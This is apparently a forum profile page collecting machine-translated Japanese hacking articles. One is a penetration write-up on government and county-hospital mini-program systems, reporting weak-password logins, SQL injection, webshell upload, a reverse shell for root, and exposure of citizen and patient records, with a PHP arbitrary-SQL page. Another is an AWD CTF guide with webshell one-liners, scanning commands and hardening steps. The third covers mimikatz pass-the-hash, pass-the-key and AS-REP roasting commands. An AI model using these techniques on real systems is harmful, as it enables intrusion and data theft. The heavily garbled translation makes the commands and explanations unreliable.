Jump to content

HireHackking

Members
  • Joined

  • Last visited

Everything posted by HireHackking

  1. 0x00はじめに は、特定の場所でHVVを終了したばかりで、ミニプログラムは、低コストで使いやすい情報システムとして、HVVの新しいタイプの重要なブレークスルーターゲットになりました。次のケースはすべて、誰もが学ぶためのミニプログラムからのものです。 0x01ケース1特定の政府問題システム 1。弱いパスワードは背景に入ります ミニプログラムをクリックし、市民サービスを入力し、ミニプログラムドメイン名をキャッチし、管理者の背景に直接アクセスします。次のページはFastAdminフレームワークです。 常に落とし穴がありました。ログインするとパスワードが無効です。あきらめたいときは、前の手順に戻ってログインしていることを思い出させてください。疑問に思います。システムがログインした後にトークンが更新されることがわかりました。これにより、前のトークンが次のログインに使用されます。そうしないと、パスワードが無効になります。したがって、ネットワークまたはシステム自体に遅延があり、その結果、ログイン操作が正しいトークンで正常に使用されないようになります。この問題を発見したとき、私はadmin/123456によって背景にログインしました。 約20,000の市民情報と数百の管理者アカウントが含まれており、すべての管理者アカウントのアカウント名とパスワードはAdmin/123456です。県レベルの都市HVVのケース4システムに似ています|コレクションへの不正アクセス。 (くそ) 2。 SQL注入はどこにでもあります フロントエンドのビジネスオフィスには、次のパッケージがあります。デバッグは閉じられておらず、データベースアカウント名とパスワードが公開されます。このSQL注入はあまりにも明白ですが、現時点ではデータベースアカウントの秘密の喜びにあり、SQL注入をしませんでした。ただし、このデータベースは外部ではなく、ローカルでのみ接続することができますが、非常に迷惑です。 管理者をバックグラウンドで表示するときに、遅延インジェクションが存在します 3。コマンドの実行は、サーバーとデータベースを削除します FastAdminであるため、シェルを取得するには多くの方法があります。今回は、オンラインコマンドプラグインの脆弱性を使用して、1.1.0でのみ利用可能なPHP WebShellに書き込みます。 ただし、このシステムは2人で開いており、プラグイン用の場所はまったくありません。オンラインでプラグインのスプライシングページを検索しました。 ディレクトリは: /addon?ref=addtabsです プラグインのディレクトリは /addon /command?ref=addtabsである必要がありますが、ページは存在しません。ルートが設定されていないと思ったので、チームメイトがプラグインを直接コマンドする記事、つまりディレクトリは /コマンドですか?ref=addtabsを見つけるまで、これを禁止しました。 クリックしてAPIドキュメントを1回クリックして生成します。ファイルはPHPで、タイトルはトロイの木馬として書かれています。 Ice Scorpion Horseのみがそれをテストできます。以前にも同様のケースがありました。 トロイの木馬をうまく接続します マレーシアのNCを循環させて電力を増やすことにより、シェルはクラウドサーバーにリバウンドされ、ルート許可を取得します。 マレーシアは、SQLステートメントを実行するときにエラーと文字化けコードを報告します。 データベースアカウントのパスワードをまだ覚えています。 SQL実行ページのPHPファイルを自分で記述することにより、データベースに接続しました。データベースの権限を取得したことを証明します。 コードは次のとおりです。 HTML 頭 タイトルはMySQLステートメント/タイトルを実行します /頭 体 H1EXECUTE MYSQLステートメント/H1 form method='post' action='' textarea name='sql_statement' rows='5' cols='50 'プレースホルダー=' mysqlステートメント '/textareaを入力してください br 入力タイプ='送信'値='実行' /形状 ?php //フォームが送信されたかどうかを確認します if($ _server ['request_method']==='post'){ //ユーザーが入力したMySQLステートメントを取得します $ sql_statement=$ _post ['sql_statement']; //mysqlデータベースに接続します $ host='localhost'; $ username=''; $ password=''; $ database=''; $ connection=mysqli_connect($ host、$ username、$ password、$ database); //mysqlクエリを実行します $ result=mysqli_query($ connection、$ sql_statement); //クエリの結果を確認します if($ result){ //クエリの結果をエコーします Echo 'H2クエリ結果: /h2'; while($ row=mysqli_fetch_assoc($ result)){ エコー ''; print_r($ row); エコー ''; } } それ以外{ //エラーメッセージを表示します Echo 'H2エラー: /H2'; エコー「P」。 mysqli_error($ connection)。 '/p'; } //データベース接続を閉じます mysqli_close($ connection); } ? /体 /HTML 0x02ケース2郡病院データベース 1.SQLインジェクションにはDBA が必要です 病院のSQL注入は公開口座登録にあります。ログインすると、登録レコードをクリックして、患者IDでパッケージをキャッチしました。 単一の引用、エラー順序を追加しました SQLMapで直接実行できないことがわかりましたが、注射は存在します。 ASP.NETフレームワークを発見することは、相手のシステムがWindowsであることを意味します。 それぞれデータベースMySQL、Oracle、およびMSSQLを指定します。最後に、注入はMSSQL中になくなり、DBA許可です。 xp_cmdshellはコマンドを実行できると思いましたが、残念ながらこれは彼です。私は保護を受けました、そして、私はそれをどのようにセットアップしてもコマンドを実行することができないので、私はターゲットの変更をあきらめました。 0x03ケース3中学校の訪問者システム 1。不正 +情報漏れ ミニプログラムを開き、パッケージをキャッチし、インタビュー対象者のすべての情報を直接キャプチャします。 1つのインターフェイスはアクセスする権限がありません。 ログインする前のこのようなものなので、ログインすることをお勧めします。 ログインして、アクセスアプリケーションを追加しました アクセスアプリケーションレコードを表示するときにパッケージをキャッチします 次のリンクをつかみます:app/visitor/getvisitorinfo?viid=1。数百の訪問者情報と訪問者の記録をトラバースすることで入手できます。それは並行して並行していると考えられており、最後に、アクセスが許可されていないことさえ、検証する許可がないことがわかりました。 0x04ケース4見逃した このケースは非常に面白いです。私はミニプログラムを探していました。 1つの単語で小さなプログラムを表示しました。注意深く見ずに入力し始めました。郡の病院でもあります。 これは、流行中に核酸試験の予約のために特別に作成されたミニプログラムである必要があります。 1。並列オーバーリーチ +情報漏れ ログインするときにIDカード名が一致しない場合、検証に合格することはできません。つまり、内部のIDカード情報はすべて現実です。ログインすると、ユーザーIDを使用して機能を探すことに慣れていて、医療訪問者リストをクリックしてパケットをキャッチします。 電話、ID、名前、性別を見つけました IDを変更して、他の人の情報を表示します。 2。並列オーバーライドSQL注入 習慣的に単一の引用符を追加し、エラーを直接報告します。ページにはSQLエラーが表示されます。これは対応するものではありませんか? EDU-SQLインジェクションケースは、最後の要約を共有しています。 SQL注入が並列オーバーステップで存在する可能性が高いです。しかし、私は間違いを犯し、許可を持っていなかったので、私は停止してあきらめ、将来の修正のためにプラットフォームに引き渡しました。 オリジナルリンク:https://forum.butian.net/share/2400
  2. 0#awd とは何か 0.1#AWD競争システムの紹介 「時折の防御モード| AWD(防衛での攻撃)」は、CTFコンペティションのいくつかの主要なゲームモードの1つです。 このモードでは、各チームには、通常、セキュリティの脆弱性を含む特定のサービスまたはアプリケーションを実行するのと同じ初期環境(GameBoxと呼ばれます)を持っています。参加チームは、ポイントを取得するためにフラグを取得するために、相手のチームのサービスのセキュリティの脆弱性を活用する必要があります。同時に、参加チームは、他のチームによって攻撃されて獲得されるのを防ぐために、彼らに対して防御するために独自のサービスの脆弱性にパッチを当てる必要があります。 主な特徴は、実用性、現実のタイミング、対立を強調し、競争チームの浸透と保護能力を包括的に考慮することです。 0.2#競合の全体的なプロセス 試合前の準備セッション:通常、SSHまたはVNCユーザー名とパスワードに割り当てられた複数のターゲットサーバー、および関連するIPおよびその他の情報を割り当てます セキュリティ補強リンク:ターゲットマシンサーバーに自分でログインし、30分間のセキュリティ強化を実行する必要があります(ソースコードのバックアップ/弱いパスワードの変更/コード監査と修理/脆弱性の修理など) 無料攻撃リンク:セキュリティ強化時間が経過した後、無料攻撃リンクが開始されます。他のチームのターゲットサーバー(弱いパスワード/Web脆弱性/システムの脆弱性など)を攻撃して追加ポイントを獲得し、対応するチームはポイントを失います。 1#競争環境 通常、競争環境には3つの状況があります。 ハイブリッドターゲットマシンの状況:操作およびメンテナンスマシンWindows10+攻撃機Kali Linux+ Win Target Machine Windows Server 2003/2008/2012またはWindows 7+ Linux Target Machine Centos7.xまたはUbuntu 16.04/17.01/20.04 純粋なLinuxターゲットマシンの状況:操作およびメンテナンスマシンWindows10+攻撃機Kali Linux+ Linux Target Machine Centos7.xまたはUbuntu 16.04/17.01/20.04 純粋なWindowsターゲットマシンの状況:操作およびメンテナンスマシンWindows10+攻撃機Kali Linux+ Win Target Machine Windows Server 2003/2008/2012またはWindows7 2#セキュリティ補強プロセス(防衛) 2.0#基本補強プロセス 2.0.1 Windows補強プロセス バックアップファースト:Webソースコード、データベース 445強化、ファイアウォールまたはIP高度なセキュリティポリシーを有効にします システムログ監査機能をオンにします ゲストアカウントを無効にし、ファイル共有を閉じます スタートアップアイテムのコンテンツが制御可能であることを確認してください リモートアクセスコントロールへの接続の数を制限する:ローカルグループポリシーエディターでは、コンピューター構成- 管理テンプレートウィンドウコンポーネントリモットデスクトップサービスリモートデスクトップセッションホストコネクションリミット接続の数を拡大します ツールを使用して、キーディレクトリファイル:ファイル操作監視、exe、yujian file monitoring.exeを監視します。 PchunterとMonitorを介して検索された悪意のあるコードファイル Webディレクトリ環境で関連する疑わしいファイルの検索:JPG/PNG/RAR、属性の表示、解凍、ファイルの内容の表示 NTFSはディスクをスキャンして、隠された交換フローデータを見つけます システム内のすべてのアカウント情報を見つけ、非管理者アカウントを禁止します。 Webサイト管理者のアクセスパス、デフォルトのパスワード、およびデータベースパスワードを変更する WAFスクリプトをインストールしてWebサイトを保護し、他の脆弱性を禁止します 2.0.2 Linux補強プロセス バックアップ最初:Webソースコード、データベース システムパスワード、統一されたチームパスワードを変更します .bash_historyを介して履歴コマンドを検索し、痕跡を見つけます スケジュールされたタスクを表示:Crontab -L;スケジュールされたタスクの編集:Crontab -E /etc/init.d/rc.localのスタートアップサービスに例外があるかどうかを確認してください スクリプトを使用して、プロセスの監視、ディレクトリ監視、トラフィック監視を可能にします Webサイトのパスワード、サイト管理者パスの変更 システム強化:IPTABLE 2.1#基本情報コレクション 防御する場合、情報収集も非常に重要です。 sayingにあるように、「あなた自身とあなたの敵を知ってください、あなたは100の戦いで決して敗北することはありません。」 2.1.1 Linuxマシン情報を明確にする UNAME -A //システム情報 ps -aux //クエリプロセス情報 ps -ef | GREPプロセス名//指定されたプロセスをフィルタリングします ID //ユーザーIDとグループIDを表示するために使用されます cat /etc /passwd //ユーザーの状況を表示します LS/HOME///ユーザーの状況を確認してください /-type d -perm -002 //書き込み可能なディレクトリチェックを見つけます ifconfig //Linuxでネットワークカード情報を表示します 2.1.2 Windowsマシン情報を明確にする hoami /all //Windowsでユーザーの詳細を表示します ipconfig /all //Windowsでネットワークカード情報を表示します 2.1.3オープンポートを表示 Netstat //アクティブ接続を表示します netstat -ano/-a //ポートステータスを確認します netstat -Anp //ポートを表示します Firewall-CMD -Zone=public - remove-port=80/tcp –permanent //ポートを閉じます ファイアウォール-CMD –RELOAD //ファイアウォールを再起動します 2.1.4デフォルトのパスワード(弱いパスワード)変更 弱いパスワード攻撃を防ぐために、mysqlパスワードはデフォルトでルートです、phpstudyデフォルトパスワード123456 他のデフォルトのパスワード管理者、TOP100、TOP1000などがあります。 特に、WebアプリケーションPassWDユーザー名のバックグラウンドパスワードの変更//SSHパスワードの変更 mycms@localhost=password( '18ciweufhi28746')のパスワードを設定します。 //mysqlパスワードの変更 find/var/www/html -path '*config*' //構成ファイルでパスワード資格情報を見つける 2.1.5ローカルフラグを見つけます GREP -R 'Flag'/var/www/html ///Linux:Webディレクトリでフラグを見つける findstr /s /i 'flag' * 2.1.6 Ping無効の設定 echo '1'/proc/sys/net/ipv4/icmp_echo_ignore_all //一時的にping禁止を有効にします echo '0'/proc/sys/net/ipv4/icmp_echo_ignore_all //ping禁止を閉じます 2.2#Webセキュリティ強化 2.2.1バックアップソースコード ソースコードを変更する際の問題を防ぐ、または攻撃された当事者がソースコードを削除して準備する 圧縮ソースコード: TAR -CVF Web.tar/var/www/html zip -q -r web.zip/var/www/html ソースコードを解凍します: tar -xvf web.tar -c/var/www/html unzip web.zip -d/var/www/html バックアップソースコード: MV web.tar /tmp MV web.zip /home /xxx ソースコードをアップロードしてダウンロードします: scp username@servername:/path/filename/tmp/local_destination //サーバーからローカルに単一のファイルをダウンロード scp/path/local_filename username@servername:/path //ローカルからサーバーへの単一のファイルから scp -r username@servername:remote_dir//tmp/local_dir //ディレクトリ全体をサーバーからローカルにダウンロードする scp -r /tmp /local_dir username@servername3360remote_dir //ディレクトリ全体をローカルからサーバーにアップロードします 2.2.2読み取り専用権限を設定 Webファイルの読み取り専用および実行権限を設定します(PHPなどの動的言語には実行権限が必要です) chmod 0555/var/www/html/* Chmod 0555 /var/www/html/*.php Webルートディレクトリで読み取り専用および実行権限を設定します Chmod 0555/var/www/html ファイルの所有者とグループを変更して、厳密なアクセス許可を設定します chown -r root:root/var/www/html///所有者をroot:rootまたはhttpd:httpd(推奨)として設定します chown -r apache:apache/var/www/html///apacheが/var/www/htmlを持っていることを確認してください 2.2.3構成.htaccess PHPファイルの実行を禁止するために.htaccess構成ファイルを使用します ディレクトリ '/var/www/html/upload' //指定されたディレクトリの後続の指示がディレクトリに適用されます Options -EXECCGI -INDEXES //CGI実行およびディレクトリインデックス(ディスプレイディレクトリコンテンツリスト)ディレクトリの関数は無効です。 AllowOverrideなし//.htaccessファイルを使用してこのディレクトリのサーバーの構成を上書きすることができません。 removehandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml //これらの2つの命令指定されたファイル拡張子のプロセッサとタイプを削除します。 //この場合、これらのディレクティブは、Apacheの処理リストからPHP関連の拡張機能とサーバー側インクルージョン(SSI)ファイルタイプを削除します。 PHP_FLAGエンジンオフ//このディレクティブは、PHPエンジンフラグ(エンジン)をオフに設定するため、このディレクトリでPHPスクリプトを実行する機能を無効にします。 filesmatch '。+\。ph(p [3457]?| t | tml)$' すべてから否定します /filesmatch //これらの3行のコマンドは、正規表現を使用して、php、phpp、php3、pht、php4、php5、php7、shtmlで終了するファイルを一致させ、アクセス許可を設定してすべてを拒否します /ディレクトリ 2.2.4 PHPパラメーターセキュリティ構成 最初にPHP構成ファイルを見つけます /etc/php/{version }/php.ini 高リスク関数を無効にします disable_functions=dl、exec、system、passthru、popen、proc_open、pcntl_exec、shell_exec、mail、imap_open、imap_mail、putenv、ini_set、apache_setenv、symlink、link Open_basedirを構成します(指定された領域にユーザーアクセスファイルのアクティビティ範囲を制限します) open_basedir=/var/www/html 魔法の引用を無効にする(SQL注入を防ぐために外部ソースデータを自動的に逃がす) MAGIC_QUOTES_GPC=OFF PHP擬似プロトコルを閉じます Allow_url_fopen=off Allow_url_include=off PHPを再起動します sudoサービスphp7.0-fpm再起動 sudo systemctl再起動php7.0-fpm.service 2.3#データベースセキュリティ補強 2.3.1 mysql補強 弱いパスワード攻撃を防ぐために、mysqlパスワードはデフォルトでルートです、phpstudyデフォルトのパスワード123456 デフォルトのパスワードを使用しないで、それを複雑に変更し、Web環境との接続を確認しないでください 設定ローカル127.0.0.1アカウントログインのみを許可します:bind-address=127.0.0.1を変更します。 secure_file_priv=nullを構成ファイルに追加します ログ監査機能をオンにします:general_log_file=path MySQLデータベースが最も一般的に使用されているため、基本的な攻撃と防御のほとんどはMySQLデータベースコマンドの使用に使用されます 指定されたデータベースをバックアップします: mysqldump –u username –pパスワードdatabasename target.sql すべてのデータベースをバックアップします: mysqldump –All -database all.sql データベースをインポートします。 mysql –u username –pパスワードデータベースfrom.sql mysqlの攻撃と防御については、この記事を読むことができます:https://blog.zgsec.cn/archives/26.html mysqlデフォルト構成ファイルパス: c: \\プログラムファイル\ mysql \ mysqlserver 5.1 \ my.ini //windows /etc/my.cnf //linux /etc/mysql/my.cnf //linux secure_file_privパラメーター(ログ関数の対応するディレクトリ)を変更する secure_file_priv='' MySQL構成を過負荷 フラッシュ特権 MySQLサービスを再起動します sudoサービスmysql再起動 sudo systemctlはmysqlを再起動します 2.3.2 mssql補強 不要なアカウントを削除します SQLServerユーザーパスワードセキュリティ ユーザーによると、アカウント共有は避けてください データベースユーザーに必要な最小許可を割り当てます ネットワークアクセス制限 SQLServerログイン監査 SQLServerセキュリティインシデント監査 ロギング関数を構成します 2.4#リモートコントロール補強 2.4.1 SSH安全補強 IPログインを制限する方法 sudo nano/etc/ssh/sshd_config //ルート許可を使用してSSH構成ファイルを編集 Allowusers username@192.168.0.100 //次の行を見つけて編集して、希望のIPアドレスに設定されていることを確認します ルートリモートログインを無効にします sudo nano/etc/ssh/sshd_config //ルート許可を使用してSSH構成ファイルを編集 permitrootlogin no //permitrootlogiを「いいえ」に設定します ユーザーとグループごとにSSHログインを制限します sudo nano/etc/ssh/sshd_config //ルート許可を使用してSSH構成ファイルを編集 Allowusers testuser //SET TestuserはSSHにログインできるようにします Allowusers testuser@192.168.1.100 //セットでは、192.168.1.100マシンのみがTestuserアカウントでSSHにログインできます Groups Testを許可//ユーザーグループホワイトリストを設定します //AllowusersとAllowgroupが同時に指定されている場合、両方のオプションと一致するユーザーがSSHログインでなければならないことに注意する必要があります。 SSHサービスを再起動します Sudo Service sshd Restart Sudo SystemCtl Restart Sshd.Service 2.4.2 RDPリモートログインセキュリティ補強材 デフォルトのアカウントを削除し、新しいユーザーを手動で追加します。 ステップ1:Win + Rを押して[実行]ダイアログボックスを開き、secpol.mscを入力して[OK]をクリックします ステップ2:これに移動します:ローカルポリシーユーザー許可割り当ての割り当て、次にダブルクリックして「リモートデスクトップサービスを介してログインを許可」を開きます ステップ3:このウィンドウにリストされている管理者とリモートデスクトップユーザー(またはコンピューター上の他のユーザーまたはグループ)を削除する ステップ4:その後、「ユーザーまたはグループの追加」をクリックし、リモートデスクトップアクセスを許可するユーザーを手動で追加します。 デフォルトのRDPポート番号を変更します: ステップ1:[実行]ダイアログボックスを開き、Regeditを入力して[OK]をクリックします ステップ2:hkey_local_machine \ system \ currentControlset \ control \ターミナルサーバー\ winstations \ rdp-tcpを開き、下にスクロールしてportnumberを見つけてダブルクリックします ステップ3:「小数」を選択し、設定するポート番号を変更し、[OK]をクリックします。 2.5#緊急対応 2.5.1クエリプロセススレッド Netstat ps -aux netstat -apt 2.5.2プロセスを殺します Kill -9 PID //Linuxで Windows上のtaskkill /f /pid pid // 2.5.3 WebShellファイルを検索 Find/var/www/html -name *.php -mmin -5 //過去5分間に変更されたファイルを表示 ./-name '*.php' |を見つけますxargs wc -l | sort -u //最短の行のファイルを見つけます。これは一般的にトロイの木馬です grep -r -include=*。php '[^a -z] eval($ _ post'/var/www/html //キーワードを含むphpファイルを確認する find/var/www/html -type f -name '*.php' | xargs grep 'eval(' | more //Linuxシステムでは、Find、Grep、Xargsコマンドの組み合わせを使用して、指定されたディレクトリ(/var/www/html)で.php拡張機能を持つすべてのファイルを見つけ、文字列'' eval( '' inこれらのファイルで 'evalを検索し、結果をパージに表示したときの結果をpagineしているときにパージーのパージをpagingで実行します。 2.5.4馬を殺すためにチェック コマンドを使用して自動的に検索して削除することもできます ps -aux | grep www-data | grep -v grep | awk '{print $ 2}' | Xargs Kill -9 次に、サービスを再起動します サービスPHP-FPM再起動 2.5.5リバウンドシェルを殺します プロセスを表示する古いルール PS -EF Px -aux ps -aux | grep www-data www-data pormissions /bin /shはNCである可能性が高いことに注意してください それから古い注文があります ps -auxを殺す| grep www-data | grep apache2 | awk '{$ 2を印刷}' 3#無料攻撃(攻撃) 3.0#メインコンテンツ さまざまなCMSソフトウェアパッケージの最新バージョンが準備されています スキャンツール:NMAP、Nessus、Metasploitの更新 Scripts POC、Exp 3.1#基本情報コレクション 3.1.1ホスト情報コレクション NMAP NAMP -SN 192.168.0.0/24 //セグメントCサバイバルスキャン httpscan httpscan.py 192.168.0.0/24 –T 10 //Cセグメントサバイバルスキャン 3.1.2ポートスキャン NMAP -SV 192.168.0.2 //ホストシステムバージョンをスキャンします NMAP -SS 192.168.0.2 //ホストの一般的に使用されるポートをスキャン NMAP -SS -P 80,445 192.168.0.2 //ポートのホスト部分をスキャン NMAP -SS -P- 192.168.0.2 //ホストのすべてのポートをスキャン Pythonスクリプト リクエストをインポートします 範囲のxの場合(2,255): url='http://192.168.1。{}'。フォーマット(x) try: r=requests.post(url) 印刷(url) :を除く 合格 3.2#外部管理 3.2.0共通システムの脆弱性 MS17-010(Eternal Blue、https://Blog.zgsec.cn/archives/172.htmlを参照) MySQLはUDFエスカレーション(SQLインジェクションまたはMySQL弱いパスワード)を実行します MSSQLはシステムコマンド実行(SQLインジェクションまたはMSSQL弱いパスワード)を実行します SSH弱いパスワードまたはデフォルトのパスワード PWN(これはAWDコンペティションによって提供される特定のコンテンツに依存します) 3.2.1ミドルウェアの脆弱性 IIS(脆弱性の解決、リモートコードの実行) Apache(脆弱性を解析) nginx(脆弱性の解析) JBoss(CVE-2017-7504/CVE-2017-12149/CVE-2015-7501) mysql(弱いパスワード) Tomcat(弱いパスワードのGetShell) WebLogic(CVE-2020-2551/CVE-2020-2555/CVE-2020-2883) Springboot(不正アクセスの脆弱性とRCEの脆弱性、https://Blog.zgsec.cn/archives/129.htmlを参照してください) 3.2.2統合サービス環境における脆弱性 WampServer XampServer 3.2.3 cmsの脆弱性エクスプロイト CMSの最新バージョンと、対応する脆弱性POCとEXPを収集します。ここでは、CMSの一部のみがリストされています。 ASPCMS DEDECMS dicuz Drupal empirecms eshop FINECMS Joomla ランプ Metainfo phpcms phpwind qibocms SEACM semcms thinkphp wolfcms WordPress Zabbix バックアップファイルブラスト:7kbscanなどのディレクトリスキャンツールを使用して、Webシステムを爆破する 3.2.4 WebShellのアップロード トロイの木馬についての一般的なことわざ php:php @eval($ _ post ['pass']);php eval($ _ get ['pass']); ASP:%eval request( 'pass')% aspx:%@ page言語='jscript
  3. Kerberos認定プロセス 序文 この記事では、主にドメインでのKerberos認定に関する最近学んだ攻撃方法の一部を共有しています。それは主に自己理解に焦点を当てており、原則の理解から基本的なツール利用に至るまで、それを説明します。個人的な理解と分析は比較的長続きします。長すぎると思われる場合は、ジャンプして見ることができます。私を許してください。エラーがある場合は、修正を行うようにマスターに依頼してください Kerberos認証プロセスは単純な説明であり、PAC、S4U2Self(委任)、S4U2Proxy(委任)など、説明されていない多くの詳細があります。 この記事の主な環境はvulnStack、Hongri射撃場です ドメインコントロールOWA WIN2008R2 192.168.52.138ドメインホストSUT1 WIN7 192.168.52.130ドメイン外ホストK0UAZ Win7(ドメインコントロールにアクセス可能)192.168.52.162 KDCと呼ばれるキーディストリビューションセンターは、ASおよびTGSAuthentication Service Authentication Servicesを含むデフォルトでドメインコントロールにインストールされます。ASと呼ばれる、KDC認証チケット付与サービスチケット助成サービスに使用されます。TGSと呼ばれます。クライアントクライアントはユーザーを参照します。サーバー側は、コンピューターアカウントまたはサービスです。 プロセスと原則 上記の図には、クライアントとKDCの時点で、クライアントとKDCのTG、クライアントとサーバーの3つのリクエスト返品プロセスが含まれます。詳細なリクエスト応答は次のとおりです AS-REQ:クライアントはKDC(AS)への認証要求を開始します。要求された資格情報は、クライアントのNTLMハッシュによって暗号化されたタイムスタンプと、その他のID情報です。 AS-REP:AS ASは、復号化にクライアントNTLMハッシュを使用します。検証が正しい場合は、KRBTGTハッシュで暗号化されたTGTチケットを返します(これはTGS-REQのTGSに送信され、STと交換に使用されます)。 TGTにはPACTGS-REQが含まれています:クライアントはTGTキャッシュをローカルで取得し(復号化できません)、STチケットをTGSと交換するために、対応するサービスTGS-REPにアクセスできます。結果が正しい場合は、サービスを提供するサーバーのサーバーハッシュ(マシンユーザーハッシュ)によって暗号化されたST(サーバー)を返します。チケット)AP_REQ:クライアントは、取得したSTをサーバーに持ち込み、リソースAP_REPを要求します:サーバーは独自のハッシュを使用してSTを復号化します。復号化が正しい場合は、取得したPACを使用してKDCにアクセスして、クライアントがアクセス許可を持っているかどうかを判断します。 PACを復号化した後、KDCはユーザーSIDとグループの情報を取得し、Access Control Table(ACL)に基づいて裁判官の許可が取得されます。それが満たされている場合、サーバーはリソースをクライアント Kerberos関連のセキュリティ問題 に返します キー(ハッシュ)を渡します ハッシュを渡します パスハッシュは、NTLM認証とKerberos認証にも適しています。ドメインの外側だけでなく、ドメイン内でも使用できます。 Kerberos Authenticationでは、AS-Reqがクライアントハッシュ暗号化関連情報を介して送信されます。したがって、クライアントのNTLMハッシュを取得すると、ハッシュを通過すると他のホストへのアクセス許可を水平に取得できます。 使用 ここでは、ドメインパイプNTLMハッシュが取得され、特定のドメインマシンにログインされると仮定します。 PTHの次のツール Mimikatzを使用して、資格情報をLSASSに注入するために必要であるため、Sedebugを有効にするにはローカル管理者の権利(bypassuac)が必要です。インジェクション後、このユーザー資格情報を使用して、WMICEXEC(PYまたはEXEの両方)からPTHを使用してドメイン内のホストにアクセスできます。管理者の権利は必要ありません。 CMEを使用してPTHなどをバッチバッチするコマンドの直接リモート実行に適しています。ここでは、Mimikatzは例として使用されます。ハックユーザー(STU1のローカル管理者グループのメンバー、ドメインユーザー) ドメインコントロール共有ディレクトリにアクセスする許可なし 資格情報を注入した後のMimikatz Mimikatz 'Privilege:3:Debug' 'sekurlsa:pth /user:a /domain:god.org /rc43:b44444189f93621A キーを渡します ミミカッツ情報のヒント NTLMハッシュは、XP/2003/VISTA/2008および2008R2/8/2012 KB2871997(AESが利用できないか交換可能)で必須です。 AESキーは、8.1/2012R2または7/2008R2/8/2012でKB2871997でのみ置き換えることができます。この場合、NTLMハッシュを避けることができます。 キーはドメインでのみ使用できます。 AES暗号化をサポートするバージョンには、KB2871997パッチがインストールされたWin8.1/2012R2またはWin7/2008r2/8/2012が含まれます 使用 AESキーを取得します 次に、sekurlsa:3360pthモジュールmimikatz 'privilege:3360debug' 'sekurlsa:pth /user:administrator /domain:god.orgを使用します/AES256:BF723755BC5F72A377BDA41CA58FD925DF7EE45DF9A026AC5CD3201020202E33 ' Win7ホストにパッチが適用されないため、パスは自然に失敗します。実用的な環境では、PTHがRC4暗号化をサポートしていない場合、保護されたユーザーグループにある可能性があります。この時点で、AES128およびAES256暗号化をPTKに試すことができます リモートデスクトップ(制限付き管理モード)でハッシュを渡します 2014年、MicrosoftはKB2871997パッチをリリースしました。これは、主にWindows 8.1およびWindows Server 2012 R2の強化されたセキュリティ保護メカニズムをカバーしています。したがって、Windows 7、Windows 8、Windows Server 2008R2、Windows Server 2012などの過去には、このパッチを更新して、上記のセキュリティ保護メカニズムを取得することもできます。 ——3——3————335433333333333————————3354 ——3——3————335433333333333————————3354 制限付き管理者RDPモードリモートデスクトップクライアントサポート: この更新の前に、RDPログインは、ユーザーがユーザー名とパスワードを提供した後にのみアクセス可能なインタラクティブログインでした。この方法でRDPホストにログインすると、ユーザーの資格情報がRDPホストのメモリに配置され、ホストが脅かされている場合、盗まれる可能性があります。このアップデートにより、RDPはネットワークログインをサポートできます。ここでは、ユーザーの既存のログイントークンの認証をRDPアクセスのために渡すことができます。このログインタイプを使用して、ユーザーの資格情報がRDPサーバーに保存されていないことを確認します。したがって、資格情報を保護します 上記の説明を通して、このモードはRDPを使用してログインしたユーザーの資格情報を保護することであることを理解できます。ネットワーク検証のログイン方法により、RDPサーバーはユーザーの資格情報を保存しません。 使用 Win8.1およびWin2012R2以上の制限された管理モードモードをサポートすると、Win8.1およびWin2012R2がデフォルトで有効になっています。 条件:クライアントは制限付き管理モードモードをサポートし、サーバーは制限付き管理モードモードを有効にします Win2012R2が手元にないため、ここでは2つのWindows10がリモートデスクトップでハッシュを渡すために使用されます 最初にNTLMハッシュを取得します Mimikatzを使用してNTLM Hash(Privilege:3:Debugを最初に挿入してデバッグ許可を有効にします。Sekurlsa3:3:pth /usekurlsa3:3:pth /user:administrator /domain:192.168.226.137 /NTLM:9C3767903480E04C089090D27123EAF9 '/RUN:MSTSC.EXE /RECTINTEDADMIN' /ドメインコンピューター名またはIPを指定します ここでは、常に資格情報を必要とすることを選択しないでください 制限付き管理モード レジストリを介して開きます(0がオン、1はオフ、完全な管理者の特権が必要です)、そしてRDP接続が再度実行されます 'hklm \ system \ currentControlset \ control \ lsa' /v無効化 リモートホストで制限付き管理モードが有効になった後、RDP接続はに成功しました ハッシュがメモリに注入されているのを見ることができます 次に、管理者アカウントK0UAZを使用したため、リモートデスクトップを使用してハッシュをパスするには、ターゲットのローカル管理者許可のみが必要です。 ただし、リモートデスクトップユーザーに参加するだけで、Administratrosグループに参加していない場合、このメカニズムは制限された管理者向けであるため、成功しません。 as-repロースト 原理 AS_REPで、KDCはユーザーNTLMハッシュによって暗号化されたセッションキーを返します(セッションキーは、クライアントとTGS間の通信のセキュリティを確保するために使用されます)) RC4_HMAC暗号化モードでは、同じ暗号化プロセスを使用してプレーンテキストパスワードを暗号化し、暗号化の結果を比較して、ciphertextが同じかどうかを評価してブラスト結果を決定できます。 上記の図に返されたユーザーによって暗号化されたユーザーNTLMハッシュのセッションキー暗号文は、AES256を介して暗号化されていますが、ここで暗号化ダウングレード方法を使用することもできます(以下のKerberoastは、AES暗号化とRC4_HMACタイプのデータを返すためにAES暗号化とRC4_HMACタイプのデータを返します。 as_repでciphertextの暗号化方法がRC4_HMACであるように、プレーンテキストパスワードをクラックできるようにします。 ただし、ここで解決する必要がある問題の1つは、認証前の問題です。 AS_REQでは、クライアントハッシュ暗号化を備えたタイムスタンプが生成され、KDCに送信されます。 KDCは、暗号文を復号化することによりタイムスタンプを取得します。復号化が成功し、タイムスタンプが5分以内にある場合、事前認証は成功します。 KDCは、この方法を使用して、ブルートフォースの亀裂を効果的に防ぐために、クライアントのアイデンティティを検証します。 AS_REQがデフォルトで2回送信される理由については、Harmj0yの記事から得られた説明は、クライアントが事前にサポートされている暗号化方法を知らないということです(クライアントは、事前認証のタイムスタンプの暗号化方法を知らないことに固有のものだと思います)。 したがって、事前認証をオフにすることで、徹底的な爆破を実行して、プレーンパスワードをクラックすることができます 事前認証を終了した後、2番目のAS_REQはありません。唯一のAS_REQには、NTLMハッシュ暗号化タイムスタンプCiphertext 3が含まれません。 使用 LDAPを介してKerberos Prauthentication属性を必要としないドメインユーザーをクエリすることができます 特定のクエリ条件は、useraccountcontrol:1.2.840.113556.1.4.803:=4194304です ここでルベウスはサンプルrubeus.exe asreproast /nowrap /format:hashcat として使用されます Hashcat Decrypt Hashcat -M 18200 Hash.txt Passwords.Dict - Force Rubeus AsReproast原理分析 